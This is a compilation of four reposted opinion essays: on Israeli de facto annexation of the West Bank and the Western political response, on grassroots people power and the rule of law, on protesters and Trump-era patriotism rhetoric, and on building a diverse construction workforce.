The Israeli state has effectively annexed Palestinian lives. That on July 1 certain parts of the occupied West Bank did not switch their designation to de jure annexation was another arbitrary Israeli decision, in this case spelling out the occupying powers preference to continue to subjugate Palestinians in one certain way instead of through a novel approach. In that same arbitrary vein, this very decision may still changeor not.

More coverage of the Middle East

Though nothing changed on the ground, the political ground in Washington may be shifting.

Not at AIPAC. The so-called pro-Israel lobbying group has begun telling lawmakers that they are free to criticize Israels looming annexation plansjust as long as the criticism stops there, according to reports. Similarly, a leaked memo from the civil rights watchdog Anti-Defamation League offered parallel talking points: providing a space for local and national leaders to express their criticism of Israels decision while neutralizing anti-Israel legislative proposals, e.g. condemning and singling out its human rights record and conditioning its military aid.

In other words, it seems that the Israeli government and certain Jewish organizations have read the recent statement by some 50 U.N. experts, that [t]he lessons from the past are clear: Criticism without consequences will neither forestall annexation nor end the occupation. These American Jewish groups appear to be in agreement that genuine consequences may actually make a differenceand thus they are working diligently to keep the noise on a meaningless level, dialed precisely to allow criticism without leading to consequences.

Yet thanks to all the focus on potential de jure annexation, we can now see the difference between those still committed to expressing deep concern without taking any action and those refusing to continue with complicity.

In Washington, D.C., a letter signed by 191 House Democrats urge[d] the Israeli government to reconsider its annexation plans. The text is framed exclusively from the perspective of Israels interests; it fails to mention Palestinians human rights or their past, current, and future oppression. It also refrains from even hinting that there could be potential consequences if their urging is ignored.

But this business-as-usual acquiescence was soon eclipsed by a very different text, led by Reps. Alexandria Ocasio-Cortez, Pramila Jayapal, Betty McCollum, and Rashida Tlaib, and signed by Sen. Bernie Sanders, among others. Calling things by their proper names, the letter addresses the path toward an apartheid system. It details human rights violations from limitations on freedom of movement to continued demolitions of Palestinian homes. And it introduces meaningful consequences, leveraging the $3.8 billion of U.S. military funding to Israel.

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In Europe, one can witness a similar divide. On the one hand, the letter signed by more than a thousand European lawmakers calling for commensurate consequences and resolutions demanding action by parliaments in Belgium and the Netherlands. On the other, op-eds published by the European Unions foreign policy chief Josep Borrell and several EU ambassadors to Israel. Borrells op-ed barely mentions Palestinians. Instead, he puts great effort into trying to explain to Israelis whats in their best interest (Annexation is not the way to create peace with the Palestinians and to improve Israels security), and goes out of his way to spell out that for Brussels the path forward is paved with carrots, not sticks: Peace cannot be imposed Peace can also bring new possibilities for EU-Israel relations to further grow. Europe, internally dividedand humiliatedthrough Israels open alliances with the rising authoritarian forces on the continent, seems, so far, unable and unwilling to wake up to realitythe very reality arrived at to no small extent as a result of Europes failed foreign policy to date.

July 1 proved to be a very ordinary day in our reality. Other ordinary days will follow, in a path paved by Israeli bulldozers, backed by Israeli courts, trampling over Palestinian homes and rights and dignity. The talk of de jure annexation might focus global attention, but that attention may fade if weeks pass and Israel decides that its preferred method of further oppressing Palestinians is by means of long-lasting de facto annexation, without adding to it a dash of de jure. For one way or another, it is the government of Israel that controls everyone and everything between the Mediterranean Sea and the Jordan River.

It is essential that this lesson does not fade awayand that the ongoing reality of de facto annexation is not further normalized. Dont wait for formal legalization, or release a sigh of relief if that possibility is set aside for now. Do commit to an action-based rejection of the existing, appalling, reality on the ground.

De jure or de facto, Israels oppression of Palestinians already demands consequences.

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Waiting for Annexation - The American Prospect

How people power strengthens the rule of law – The Kathmandu Post

On a cold winters night in July 2016, thousands of people gathered inside and outside Rotten Row Magistrates Court in Harare to await the verdict in the Zimbabwean governments case against Pastor Evan Mawarire, the leader of the #ThisFlag movement and a staunch opponent of then-President Robert Mugabe. When the magistrate eventually threw out the treason charges brought against Mawarire for peacefully rallying people against corruption, a street party broke out. It was an unexpected victory for the rule of lawwon, at least in part, through collective nonviolent action by ordinary people.

In its most basic form, the rule of law simply means that no one is above the law. Everyone is treated fairly and justly, and the government does not exercise its power arbitrarily. These principles lie at the heart of the ongoing protests against systemic racism and police brutality in the United States following the death of George Floyd. The rule of law is very different from rule by law, which characterises many authoritarian states and, increasingly, some democracies as well.

Many argue, not unreasonably, that building robust institutions is essential to strengthening the rule of law. But what do you do when the institutions which are meant to uphold the rule of law are so hollowed out that they have become the primary tools for its subversion? The conventional focus on building institutions can leave ordinary people feeling disempowered, waiting patiently for the all-important institutions to reform, while they remain on the receiving end of oppression meted out by those very institutions. It can also lead to unhelpful interventions by well-meaning external actors, which inadvertently strengthen the authoritarian capabilities of captured institutions, rather than the rule of law.

To strengthen the rule of law, we first need to focus on strengthening people, not institutions. This involves the difficult, dangerous, and often unglamorous work of grassroots community organising that empowers citizens to act through informal channels outside of established institutions. Such action includes non-violent protestsmarches, boycotts, strikes, and picketsas well as community initiatives that directly improve peoples lives, such as worker advice centres and community gardens.

Such efforts are especially necessary in authoritarian states where institutions are fundamentally broken. But even in established democracies, the recent failure of supposedly strong institutions to prevent the rule of law from being undermined has shown that there is no substitute for an active and organised citizenry. Such engagement cannot be legislated or decreed, or copied and pasted from another jurisdiction. People must build it collectively from the ground up.

Building people power starts with opening citizens minds to a different type of society and a new way of doing things. In apartheid South Africa, for example, the study groups and adult literacy classes in townships during the 1970s helped to lay the groundwork for the mass movement that emerged in the 1980s under the banner of the United Democratic Front. The UDF would go on to play a leading role in the struggle against apartheid, culminating in 1990 with Nelson Mandelas release from prison and the unbanning of the African National Congress.

Next, like-minded people need to organise themselves, connect with one another in the real world (not just on social media), and become actively involved in issues directly affecting their lives. These issues might at first be local rather than national, and involve less risky actions. Over time, however, people build mutual trust and gain confidence in both themselves and their collective power as a group. Coalitions form, and actions become larger in scope and perhaps more confrontational. Before you know it, a social movement emerges that is bigger than any of the individuals or organisations involved and can unlock peoples power to bring about change.

People power can strengthen the rule of law in at least three ways. For starters, it can counteract and even neutralise the top-down pressure placed on courts and police by the authoritiestypically, the executive. This can help to ensure that even hollowed-out or compromised institutions discharge their duties in accordance with the rule of lawas in the case involving Mawarire.

A people-power movement can also create alternative spaces that prefigure a society in which the rule of law is respected. The movement must operate internally in a just and fair way, and apply the same standards to all its members regardless of rank. And any civil disobedience must have a strategic purpose and be highly disciplined, so that participants understand that such action does not constitute a rejection of the rule of law, but rather a means of establishing it.

Third, people power has repeatedly proved to be an effective tool in defeating even the most brutal dictatorships and achieving a transition to a more democratic system of governance. Far-reaching reforms that strengthen the rule of law can then be implemented in ways that would not have been possible under a corrupted system. In November 2019, for example, Sudans new transitional authorityestablished after months of non-violent protests against President Omar al-Bashirs dictatorship and then against the military regime that ousted himrepealed an oppressive public-order law that had governed how women could behave and dress in public. Although Sudans transition is by no means complete, this represented a huge triumph for the rule of law. It would not have been achieved without people power.

Authoritarian leaders understand and fear people power. Soon after Mawarires hearing, the Zimbabwean regime erected a fence around Rotten Row Magistrates Court to prevent similar public gatherings there in the future. But just as authoritarian regimes adapt and learn from their past mistakes, those of us fighting for a society based on the rule of law also must adjust, innovate, and improvise, and accumulate enough power to dismantle the oppressive systems that shackle us. Only through the struggle of ordinary people can we eventually shift our focus to building strong institutions that protect everyone equally.

***

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How people power strengthens the rule of law - The Kathmandu Post

The Protesters Are the True Patriots – Washington Monthly

It is truly bizarre that, at a moment when the Trump administration is sending in federal stormtroopers to threaten peaceful protesters in Portland, Oregon, conservatives are claiming that it is liberals who threaten the foundation of our democratic republic. It all started with Trumps speech at Mt. Rushmore on July 4th.

Seventeen seventy-six represented the culmination of thousands of years of western civilization and the triumph not only of spirit, but of wisdom, philosophy, and reason.

And yet, as we meet here tonight, there is a growing danger that threatens every blessing our ancestors fought so hard for, struggled, they bled to secure.

Our nation is witnessing a merciless campaign to wipe out our history, defame our heroes, erase our values, and indoctrinate our children

This attack on our liberty, our magnificent liberty, must be stopped, and it will be stopped very quickly. We will expose this dangerous movement, protect our nations children, end this radical assault, and preserve our beloved American way of life

Make no mistake: this left-wing cultural revolution is designed to overthrow the American Revolution.

That was followed up by a speech from Secretary of State Mike Pompeo at the National Constitution Center to unveil the first report from his Commission on Unalienable Rights. The secretary had established the commission a year ago in order to ground our foreign policy in this countrys founding ideals. The first thing to note is that Pompeo thinks that it is necessary to prioritize which unalienable rights are most important.

the report emphasizes foremost among these rights are property rights and religious liberty. No one can enjoy the pursuit of happiness if you cannot own the fruits of your own labor, and no society no society can retain its legitimacy or a virtuous character without religious freedom.

Of course, what a Christian nationalist like Pompeo means when he talks about religious liberty is the freedom of white evangelical Christians to do what they please and all other religions be damned. That one has a lot of human rights advocates pointing out that it is the rights of women and LGBTQ persons to be treated as equal citizens under the law that are getting thrown under the bus.

Pompeo mentioned Trumps speech at Mt. Rushmore when he launched into his own attack on those who are protesting against police brutality.

President Trump spoke about this at Mount Rushmore on the Fourth of July. And our rights tradition is under assault.

The New York Timess 1619 Project so named for the year that the first slaves were transported to America wants you to believe that our country was founded for human bondage.

They want you to believe that Americas institutions continue to reflect the countrys acceptance of slavery at our founding.

They want you to believe that Marxist ideology that America is only the oppressors and the oppressed. The Chinese Communist Party must be gleeful when they see the New York Times spout this ideology.

Some people have taken these false doctrines to heart. The rioters pulling down statues thus see nothing wrong with desecrating monuments to those who fought for our unalienable rights from our founding to the present day.

This is a dark vision of Americas birth. I reject it. Its a disturbed reading of history. It is a slander on our great people. Nothing could be further from the truth of our founding and the rights about which this report speaks.

The commission reminds us its got a quote from Frederick Douglas, himself a freed slave, who saw the Constitution as a glorious, liberty document. That it is.

That quote from Frederick Douglass is a favorite among conservatives. What they dont tell you is that it comes from his speech titled, What to the Slave is the Fourth of July? given in 1852nine years before the Civil War. Speaking to a white audience, Douglass refers to your National Independence, and of your political freedom (emphasis mine), making it clear that it doesnt apply to those who were enslaved. You can almost see the tongue-in-cheek way that he talks about what led up to the Declaration of Independence from British rule.

Feeling themselves harshly and unjustly treated by the home government, your fathers, like men of honesty, and men of spirit, earnestly sought redress. They petitioned and remonstrated; they did so in a decorous, respectful, and loyal manner. Their conduct was wholly unexceptionable. This, however, did not answer the purpose. They saw themselves treated with sovereign indifference, coldness and scorn. Yet they persevered. They were not the men to look back

Oppression makes a wise man mad. Your fathers were wise men, and if they did not go mad, they became restive under this treatment. They felt themselves the victims of grievous wrongs, wholly incurable in their colonial capacity. With brave men there is always a remedy for oppression. Just here, the idea of a total separation of the colonies from the crown was born! It was a startling idea, much more so, than we, at this distance of time, regard it. The timid and the prudent (as has been intimated) of that day, were, of course, shocked and alarmed by it.

It seems pretty clear that Pompeo has never read Douglasss whole speech. So it might surprise him to learn that the man he quoted referred to our founding fathers as oppressed, but wise men who chaffed under their treatment by the home government. The Declaration of Independence was actually a protest document.

But by the end of his speech, Douglass made it clear that these founding ideals were not extended to people like him.

I say it with a sad sense of the disparity between us. I am not included within the pale of this glorious anniversary! Your high independence only reveals the immeasurable distance between us. The blessings in which you, this day, rejoice, are not enjoyed in common. The rich inheritance of justice, liberty, prosperity and independence, bequeathed by your fathers, is shared by you, not by me. The sunlight that brought life and healing to you, has brought stripes and death to me. This Fourth [of] July isyours, notmine.Youmay rejoice,Imust mourn.

That is the part of Douglasss speech that Pompeo doesnt want you to hearmuch less read himself. There are people who are still mourning the fact that American hasnt lived up to its ideals. They are taking to the streets to protest and this administration is doing everything in their power to vilify, threaten, and stop them.

It is worth noting that it was this countrys first African American president who drew ourattention to the words contained in the preamble to the Constitution during his 2008 speech about race in America (emphasis mine).

We the People of the United States, in Order to form a more perfect Union, establish Justice, insure domestic Tranquility, provide for the common defence, promote the general Welfare, and secure the Blessings of Liberty to ourselves and our Posterity, do ordain and establish this Constitution for the United States of America.

Heres what Obama said.

Of course, the answer to the slavery question was already embedded within our Constitution a Constitution that had at its very core the ideal of equal citizenship under the law; a Constitution that promised its people liberty and justice and a union that could be and should be perfected over time.

And yet words on a parchment would not be enough to deliver slaves from bondage, or provide men and women of every color and creed their full rights and obligations as citizens of the United States. What would be needed were Americans in successive generations who were willing to do their part through protests and struggles, on the streets and in the courts, through a civil war and civil disobedience, and always at great risk to narrow that gap between the promise of our ideals and the reality of their time.

With the passing of John Lewis over the weekend, this is also a time to remember the words Obama spoke to commemorate the 50th anniversary of the march he led across the bridge in Selma, Alabama.

As we commemorate their achievement, we are well-served to remember that at the time of the marches, many in power condemned rather than praised them. Back then, they were called Communists, or half-breeds, or outside agitators, sexual and moral degenerates, and worse - they were called everything but the name their parents gave them. Their faith was questioned. Their lives were threatened. Their patriotism challenged.

And yet, what could be more American than what happened in this place? What could more profoundly vindicate the idea of America than plain and humble people - unsung, the downtrodden, the dreamers not of high station, not born to wealth or privilege, not of one religious tradition but many, coming together to shape their countrys course?

What greater expression of faith in the American experiment than this, what greater form of patriotism is there than the belief that America is not yet finished, that we are strong enough to be self-critical, that each successive generation can look upon our imperfections and decide that it is in our power to remake this nation to more closely align with our highest ideals?

Thats why Selma is not some outlier in the American experience. Thats why its not a museum or a static monument to behold from a distance. It is instead the manifestation of a creed written into our founding documents: We the People in order to form a more perfect union. We hold these truths to be self-evident, that all men are created equal.

It is people like Donald Trump and Mike Pompeo who are in the process of threatening the ideals on which this country was founded. They are the ones who are calling protesters everything but the name their parents gave them and serving up the modern-day equivalent of the billy clubs used against people like John Lewis on Bloody Sunday.

The great divide in this country has always been the one between those in power who will do anything to maintain the status quo and those who revere our founding ideals enough to join the struggle to perfect our union. Its once again time to choose a side.

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The Protesters Are the True Patriots - Washington Monthly

To attract, retain diverse workforce, start with self-reflection – Idaho Business Review

Molly Washington

Diversity on the jobsite and within the various departments of a construction company has numerous benefits, but building and retaining a truly diverse workforce takes an unwavering commitment to equity within organization walls. That commitment requires organizations to invest in the needs of all of its people and divest in systems that are causing harm.

The most important first step is to actively engage in genuine efforts to self-reflect on ways that a company might be actively instituting or perpetuating systems that exclude, devalue, and oppress Black, Indigenous and people of color (BIPOC), women, gender-nonconforming people and people who identify as LGBTQIA+. If a disproportionate number of people within these groups are unable to access or advance within a company, its systems must be reviewed for bias and institutional racism, sexism, transphobia and homophobia. Once identified, each of these issues must be addressed with intentionality and focus.

Is this task a substantial undertaking? Absolutely. Is the reward worth the effort? Without a doubt. Companies that choose not to invest resources in this level of self-exploration and honesty might never reach their full potential and instead will continue to limit themselves, the success of their projects, their partnerships and their people.

Access and advancement are imperative

Construction typically does not require a college degree at its entry point, eliminating the time investment and debt associated with other well-paying professions. It provides interesting work that pays a living wage and benefits. Although construction is not immune to economic downturns, it can be more sustainable because the government typically invests in it first to bring back economic growth. For someone without equitable access to a construction career, there is no opportunity to avail oneself of these benefits. Importantly, if some people are denied this opportunity at the outset due to bias and systems of exclusion, construction companies and the industry itself will never realize the true benefits of a diverse workforce.

A diverse workforce is valuable because it encourages innovation and elevates new perspectives. In construction, each project is different and the road to success includes distinct facets. Each person involved in a project brings a unique set of skills and abilities, adding to the companys overall ability to identify issues, solve problems, and deliver a successful project. The more diversity in experience, perspective and ingenuity, the better the ability to offer the best solution. In addition, when employees feel that their company is committed to diversity, and feel included, their investment and ability to innovate is increased.

Building a diverse workforce requires construction companies to reach out to marginalized groups, place value on the diversity of their lived experiences and prove to them that there are opportunities to work and be promoted. At the outset, simply seeing construction as a career path might mean the difference between access and obstacle. This requires companies to recognize that there is something to the mantra you cant be it if you cant see it. Construction companies should ensure that anyone who has worked for them has the ability to be it. This includes identifying and eliminating obstacles and barriers, including systems of oppression, within their own processes and practices.

Ultimately, companies have the power to decide whether BIPOC, women, gender non-confirming people, or people who identify as LGBTQIA+ are seen as valuable to the company and are recognized as leaders deserving of advancement. Furthermore, not only do these new leaders serve as examples of success to motivate others within the organization, but they also introduce people within their own communities to the idea of a career in construction. Community-centered organizations like Oregon Tradeswomen Inc., Latino Build, and programs administered by Portland Opportunities and Industrialization Center, Constructing Hope and Girls Build are great examples of how the next generation of nondominant culture leaders are helping our diverse youth see it.

An inclusive and respectful workplace is required

Creating access for marginalized groups is the first step. Organizations must then be prepared to engage in the self-reflection necessary to institute policies, processes and practices that help them retain the people who have overcome institutional obstacles to access construction careers people who historically have been pushed out. In essence, retaining a diverse workforce requires companies to create inclusive and respectful work environments for all employees.

Part of the self-reflection required for a company to create an inclusive and respectful work environment for all of its employees is analyzing the intersections of discrimination, opportunity and power within the organization itself. Using equity analysis is a beneficial tool in this regard. It helps identify racial, gender and other disparities that interfere or harm organizations, as well as provides ways to mitigate or eliminate those disparities. It assists organizations to align with outside equity initiatives and create processes and programs to support recruitment and retention of a diverse workforce.

Organizations that use equity analysis can proactively identify unintended consequences before damage is done by evaluating policies and practices, and then developing creative solutions to address concerns. If these issues are not identified and addressed in advance, the ability to recover and rebuild trust with those harmed can be arduous and, at times, insurmountable.

Final thoughts

A company that creates access and opportunity, as well as an environment and culture where all employees feel included and respected, reveals it has an ability to retain a diverse workforce. If companies want to attract and retain the best people, they need to create the best work environments. Ensuring access to the construction industry, valuing different lived-experiences, identifying and rectifying systems of exclusion and oppression, and utilizing equity analysis are good initial efforts for a company to become respected and sought after. At the very least, these are important steps to take to ensure a company is valuing its most important asset its people.

Molly Washington is a real estate and construction industry group attorney with Schwabe, Williamson & Wyatt PC in Oregon. She focuses on equity. Contact her at 503-796-2878 or mwashington@schwabe.com.

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To attract, retain diverse workforce, start with self-reflection - Idaho Business Review